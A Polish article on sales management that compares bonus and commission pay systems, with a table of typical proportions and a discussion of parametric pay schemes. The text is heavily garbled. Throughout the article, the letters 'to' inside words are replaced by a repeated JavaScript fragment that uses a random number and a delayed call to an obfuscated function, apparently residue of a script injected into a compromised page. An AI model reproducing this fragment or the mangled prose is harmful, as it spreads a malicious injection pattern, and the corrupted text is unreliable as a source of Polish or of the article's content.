Prowizja czy bonus?

Dobrze jest sterować sprzedażą, najlepiej w uporządkowany sposób w postaci zarządzania magiczną formułą sprzedaży.

Zarządzaniu tą formułą służy wiele narządzi, ale chyba najskuteczniejszym (choć najdroższym) jest pracownik.

Każda z me dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tod zarządzania formułą ma swój potencjał, swój własny sposób, ale i własny koszt. Akurat w zarządzaniu pracownikami chodzi o zmianę zachowań. Ten sposób ma duży potencjał, przede wszystkim po stronie średniej war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tości transakcji.

Uwaga. „tak jak z samoobsługą”. Ze zmiennymi systemami wynagradzania jest tak samo jak z samoobsługą. Ta jak najbardziej może być realną i zyskowną alternatywą dla intensywnej obsługi klienta. Jest mniej wydajna i mniej skuteczna, ale za dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to jest znacznie tańsza. I jeśli Model Biznesowy stawia na niskie koszty (cecha Modelu), a potencjał wzrost sprzedaży jest w danym obszarze ograniczony (cecha rynku), dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to z powodzeniem może funkcjonować. Jednak samoobsługa ma wiele złożonych mechanizmów działania, bez znajomości których nie da się uzyskać dobrego efektu.

Z wynagradzaniem jest tak samo. Zarządzanie przez zmienny system płac jest dużo mniej efektywne, niż przez zarządzanie przez menedżerów, ale znacznie łatwiejsze. I dużo tańsze. Jeśli więc Model jest do tego przys dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tosowany, z łatwością je zastąpi. Tak samo jednak jak z samoobsługą do uzyskania skuteczności potrzebne są pewne specyficzne umiejętności, jakie jak wysokość składnika zmiennego, sposób jego uzależnienia (w jakim s dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}topniu i w jakim zakresie). A także, czy powinien dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to być system bonusowy, od zrealizowania zadania, czy prowizyjny, jako udział w zysku.

Zarządzanie formułą przez pracowników ma też tę zaletę, że jest wprawdzie drogi, ale już i tak zapłacony. Dodatkowo płaci się już nie za obecność i podstawowe zachowania (te już są w pakiecie), ale za ich zmianę. Można zapłacić na różne sposoby, w postaci kosztów zarządzania albo w postaci dodatkowego wynagrodzenia. Zacząć jednak trzeba od potencjału, gdyż dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to ten war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to zestawić z potencjalnym kosztem.

Chodzi o zmianę zachowań

W zarządzaniu pracownikami chodzi o dwie rzeczy. Z jednej strony o zapewnienie pewnego minimum, obiecanego klien dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towi ( dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to w dużej mierze nic innego jak spełnienie obietnicy) oraz wykorzystanie potencjału tkwiącego w o dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toczeniu, już w ramach przyjętego systemu. Ta druga część dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to już nie wypełnienie obietnicy, tylko zarządzanie magiczną formułą.

Uwaga. „keep the promise”. Każdy Koncept Sprzedażowy składa klien dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tom jakąś obietnicę. Pod wieloma względami, także pod względem obsługi. I robi dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to niezależnie od tego, czy o tym wie, czy nie. I dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to z tej obietnicy rozliczają go klienci. Tu można tylko zepsuć (wtedy nie będzie tych 80%). Wyjście poza tę obietnicę oznacza dodatkowe koszty (zawsze), ale rzadko też dodatkowe przychody. Chyba że ta dodatkowa obsługa

Jak sprzedaż zależy od składowych zarządzania pracownikiem. Podstawowa, największa część sprzedaży zależy od elementów koncep dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towych. Tu zarządzanie pracownikiem może tylko popsuć, ale niewiele dołożyć. Zarządzanie magiczną formułą przeciwnie, niewiele można tu zepsuć, ale wiele zyskać.

Z tego podstawy Konceptu zapewniają ok. 80% obrotu. Lepsze czy gorsze zarządzanie może do tego dołożyć kolejne 20%. Ale mimo wszystko nie należy tej części lekceważyć. Te 20% mogą zadecydować o zwycięstwie w walce konkurencyjnej.

Uwaga. „można tylko popsuć”. Wiele firm wyobraża sobie, że obsługa powinna być jak najlepsza. To wcale nie takie oczywiste. Obsługa kosztuje (zawsze), a rzadko przynosi dodatkowe obroty. Na poziomie obietnicy można tylko zepsuć. Tu „przekraczaj oczekiwania” zostanie przez klienta przyjęte z radością, ale nie z otwartym portfelem. Tu potencjał zarządzania personelem jest tylko negatywny. Tu można tylko popsuć, ale niewiele „wycisnąć”.

Żeby sięgnąć po dodatkowe pieniądze, trzeba albo zmienić obietnicę na poziomie Modelu, albo właśnie zarządzić formułą. Zmiana Modelu dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to sprawa złożona, ryzykowana i długotrwała. Znacznie lepiej i zyskowniej skoncentrować się na zarządzaniu magiczną formułą.

Jak działa magiczna formułą sprzedaży? Kaskadowo. I dopiero ostatni poziom jest operacyjnie zarządzalny. Tak jest zawsze, w każdym rodzaju zarządzania formułą, nie tylko w przypadku zarządzania personelem. Ale w zarządzaniu personelem tę kaskadowość widać najlepiej.

Spośród wszystkich sposobów na zarządzanie formułą, zarządzanie pracownikami sięga najgłębiej w zarządzanie magiczną formułą, gdyż do poziomu zachowań. To bardzo dobrze, gdyż jest dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to poziom operacyjnie zarządzalny (tak naprawdę jako jedyny). Jak jednak do niego sięgnąć? Nie ma lepszego sposobu niż zarządzanie. Właśnie już nie ogólnie formułą, ale konkretnie pracownikiem.

Jak zarządzać pracownikiem?

Można dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to robić na różne sposoby. Niezależnie jednak od wybranej me dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tody, lepiej nim w ogóle zarządzać, niż pozostawić sprawy własnemu biegowi. Najpowszechniejszy sposób dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to przekupstwo. Polega na tym, że pracownikowi płaci się za dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, aby dobrze pracował. I płaci mu się za dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to w jakiejś proporcji do tego, jak dobrze (w ocenie firmy pracuje). Można też mu płacić za wynik.

Uwaga. „zmienne wynagrodzenie ma zastąpić zarządzanie”. To dlatego najlepsi menedżerowie radzą sobie bez niego (wystarczą im stałe pensje). A im ci menedżerowie gorsi, tym większa presja na zmienny system wynagradzania.

Sposoby zarządzania pracownikiem. Są na dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to co najmniej 4 sposoby. Można przekupić, zmotywować (ale już inaczej niż finansowo), zarządzić albo zmusić. Najskuteczniejsze jest zarządzanie, choć też jednocześnie najtrudniejsze.

Wynagrodzenie. Inaczej przekupstwo. Tu płaca nie tylko jest ceną za pracę, czyli równoważy podaży z popytem (co jest jej naturalna rolą). Ona ma także skłaniać do lepszej pracy. Czyli być motywa dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}torem. Pomijając już dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, że działa krótko, gdyż wszyscy się szybko przyzwyczajają.

Uwaga. „wynagrodzenie reguluje rynek”. To inaczej punkt spotkania się popytu z podażą. Dodatkowo zależy już indywidualnie od polityki firmy (z jednej strony), jak i od umiejętności pracownika (z drugiej), które dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to czynniki modyfikują poziom rynkowy.

Nawet zmienny system wynagrodzeń nie może odejść od tej zasady. I łączna kwota wynagrodzenia powinna jakość odnieść się do poziomu rynkowego. Jeśli znacznie od niego odbiegnie, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to w perspektywie kilku miesięcy zacznie się negatywne oddziaływanie systemu wynagrodzeń, zniechęcenie, a w końcu zmiana pracodawcy.

Samo wynagrodzenie nie jest składnikiem zarządzania, a jeśli już, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to jako czynnik negatywny. Zbyt niskie demotywuje i skłania najpierw do gorszej pracy, a następnie do jej zmiany. Staje się sposobem na zarządzanie dopiero gdy zaczyna być zmienne, czyli nagradza za pewne zachowania a karze za niepożądane. Zmienność wynagrodzenia może być bonusowa (wtedy składnik zmienny jest przydzielany w zamian za wykonanie jakiegoś konkretnego zadania) albo prowizyjny (w zamian za osiągnięcie wyniku, w jakiejś do niego proporcji).

Prowizja czy bonus? To zależy. Najbardziej zależy od polityki firmy. To także w dużej mierze kwestia wiary, gdyż związek z efektem jest złożony i występuje nie tylko w zakresie objętym celami bonusu czy podstawą do prowizji. Najbardziej bowiem liczą się nieuświadomione skutki uboczne, rzadko uwzględniane, a nawet zauważane.

System	Bonusowy	Prowizyjny	Uwagi
Za co system nagradza	Zadanie	Wynik	Kwota albo % od wyniku
Proporcja do całości wynagrodzenia	20-30%	Do 50%	Pracownik ocenia łączną kwotę
Liczba składników	2-3	1-2	Większą liczbą nie da się zarządzać
Główna szansa	Ręczne sterowanie priorytetami	Maksymalizowanie sprzedaży	W obu przypadkach liczy się cel krótkookresowy. Występuje też konflikt między celami
Zagrożenie	Zaniedbanie innych celów	Nie liczenie się z kosztami

Uwaga. „stały składnik wynagrodzenia”. W nawet najbardziej zmiennym systemie wynagradzania jest zwykle stały składnik. I on przecież też jest za coś. Właśnie za dobrą pracę (gdyż jeśli k dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toś źle pracuje dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to nie powinien mniej zarabiać, tylko zostać zwolniony).

Motywowanie. Ulubiony temat książek o zarządzaniu pracownikami. Ale przecież podstawowym motywem pracy jest w ogóle chęć zatrudnienia się u danego pracodawcy? A jeśli tej chęci nie ma, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to po co obie strony mają się męczyć?

Zmuszanie. Tu następuje próba szczegółowego określenia wszystkich zachowań, a następnie ich kontrola. Model kuszący, ale drogi. I jak każdy system oparty na strach rodzi opór i próby obejścia. Długo więc się w ten sposób nie pozarządza.

Jasne reguły. Tu nie ma miejsca na lepszą i gorszą pracę, przynajmniej w pewnym zakresie. Firma ustala tzw. company basics i z tym nie można dysku dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tować. Ich nie wykonywanie kończy się zawsze i nieuchronnie zwolnieniem. Do pewnego s dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}topnia dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to zmuszanie, ale w ograniczonym zakresie.

Jeśli jednak firma zdecyduje się na zmienny system wynagradzania, pozostaje decyzja, jaki wybrać system. Można wynagradzać proporcjonalnie do wyniku albo za wykonanie zadań. Czyli prowizją albo bonusem.

Bonus

To kwota która przyznawana jest za wykonanie zadania. Musi być z góry znana i wyjaśnione zasady funkcjonowania, gdyż inaczej nie zmieni zachowania.

Bonus powinien być za coś. Za coś konkretnego i dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to w z góry określonej wysokości. W organizacji sprzedażowej wszystkie zadania tak czy inaczej odnoszą się do sprzedaży, ale niektóre, bardzo ważne, dopiero w długim okresie. Np. posprzątanie zaplecza jest ważne, ale wpływ na sprzedaż jest nieoczywisty, a na pewno nie bezpośredni.

Ile może być tytułów do bonusu? Niewiele. Cele do bonusu podlegają takiej samej inflacji, jak pieniądze, tylko o wiele szybciej. Najskuteczniej działa jeden cel, ale mało która organizacja potrafi się powstrzymać przed mnożeniem wielu jak najbardziej słusznych celów. W praktyce zawsze trzeba coś wybrać i trudno zachować równowagę nawet między dwoma. Nawet jeśli cele nie są wzajemnie sprzeczne (jak np. porządek i obsługa), dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to i tak rywalizują o czas, zasoby i uwagę.

Uwaga. „nie można oszukiwać”. Choć dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to bardzo kuszące. Gdyż dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to numer na raz i drugi raz już się oszukać nie da. To złota reguła systemu bonusowego (jak zresztą każdego opartego na obietnicy i jej spełnieniu).

Jaką część wynagrodzenia powinien stanowić bonus? Mniej niż dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to może być przy prowizji, gdyż związek zadań ze sprzedażą też może być mniejszy (i na ogół taki jest).

Prowizja

To udział w obrotach, czasem w zyskach. Ale prawie nigdy nie w kosztach czy nakładach. I dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to jego największa słabość. Pracownicy maksymalizują swój zysk, ale nie wynik firmy, szczególnie na poziomie zwrotu na kapitale zaangażowanym.

Uwaga. „ dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to system proporcjonalny”. Ale proporcjonalny do ilości, nie do jakości. Nie musi być taki, ale przeważnie jest. Tu obowiązuje zasada „im więcej, tym więcej”. Ale nie lepiej, gdyż cele nie są tu jakościowe, tylko ilościowe. Takie są łatwiej mierzalne, a mierzalność dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to podstawa systemu parametrycznego.

Firma która uwierzyła w au dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tomatyzm systemu motywowania pracowników przez zmienny system wynagradzania zaczyna przeważnie od prowizji od jednego parametru, zwykle sprzedaży. Ale że dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to system w krótki okresie bardzo skuteczny, zwykle kończy się mnożeniem celów. Są nadal proporcjonalne, ale w proporcji do różnych parametrów. I tak system prowizyjny zamienia się w swoją zaawansowaną wersję czyli system parametryczny.

Jakie mogą być składniki systemu parametrycznego? Na ogół są związane z magiczną formułą sprzedaży. Mogą być związane z jej pierwszym poziomem czyli sprzedażą, drugim czyli liczbą kontaktów, konwersją czy średnią war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tością transakcji. W końcu mogą być związane z poziomem analitycznym składników formuły, takich jak średnia cena sprzedanego produktu (up-sell), liczba produktów na transakcję (cross-sell) czy sprzedaż produktów dodatkowych, bez związku z produktem głównym. Każdy z tych składników może być podstawą do prowizji, ale lepiej unikać nadmiaru.

Ile może być składników systemu parametrycznego? Jak najmniej, szczególnie na raz (można je przecież wymieniać w kolejnych okresach).

Dodatkową trudność stanowi fakt, że składniki magicznej formuły są ze sobą sprzężone w sposób odwrotnie proporcjonalny. Zwiększenie konwersji na ogół prowadzi do zmniejszenia średniej war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tości transakcji, zwiększenie średniej war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tości transakcji może prowadzić do zmniejszenia liczby kontaktów (gdyż wywiera dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to nacisk na aktywną, a czasem agresywną obsługę).

Uwaga. „system parametryczny”. Czyli sięgnięcie do analitycznego poziomu magicznej formuły sprzedaży i próba uzależnienia wynagrodzenia od kilku (na ogół) parametrów z tego poziomu. Bardzo kuszący system, gdyż odwołuje się bezpośrednio do formuły na poziomie prawie zarządzalnym. Ale tylko prawie, co widać w praktyce.

Pracownicy wybierają jeden parametr, najłatwiejszy do osiągniecia (lub z ich punktu widzenia najbardziej dochodowy). I na nim się skupiają, ze szkodą dla całości. Poza tym system parametryczny prowokuje do oszustw. Ponieważ parametrów jest dużo i na ogół są rozliczane au dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tomatycznie, bez zrozumienia, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to oszukać jest i łatwo i jest dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to bardzo korzystne.

Jaką część wynagrodzenia powinna stanowić prowizja? Nie mniej niż 20% (mniej rzadko działa), ale nie więcej niż 50%. 50% dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to już granica, w każdej bowiem pracy jest część zadań stałych, nie związanych bezpośrednio z wynikiem. Ale i je trzeba wykonać i za wykonanie tych zadań należy się stała część wynagrodzenia.

Oprócz ogólnych wyzwań związanych z zarządzaniem pracownikami przez system wynagrodzeń w systemie prowizyjnym tkwi pewien strukturalny problem. To związanie wynagrodzenia z przychodem (czy jakąś jego kombinacją), ale bez związku z kosztami i nakładami. W ten sposób firma sama podcina gałąź, na której siedzi. Pracownicy zaczynają maksymalizować przychody, ale tylko w krótkim okresie (długi ich nie interesuje) i za wszelką cenę. W takim układzie oni najwięcej zarobią, a koszty i konsekwencje dla firmy ich już nie interesują. A przynajmniej nie interesują tak długo, jak dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to właśnie płaca ma ich motywować.

Podsumowanie

Pracowników należy motywować. Jeśli nie jest się w stanie zrobić tego zarządczo, trzeba uciec się do pomocy sytemu wynagrodzeń. Zmienny system wynagradzania może bowiem stworzyć namiastkę zarządzania. Zmienność można uzyskać na dwa sposoby, w proporcji do wyniku (system prowizyjny) i zerojedynkowo, od wypełnienia określonych zadań. Zerojedynkowość polega z jednej strony na jednoznacznym określeniu czy zadanie zostało wykonane, a z drugiej z kwo dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towości wynagrodzenia. Każdy z tych systemów ma swoje zalety i wady, niezależnie od wspólnych ograniczeń zarządzania przez płace.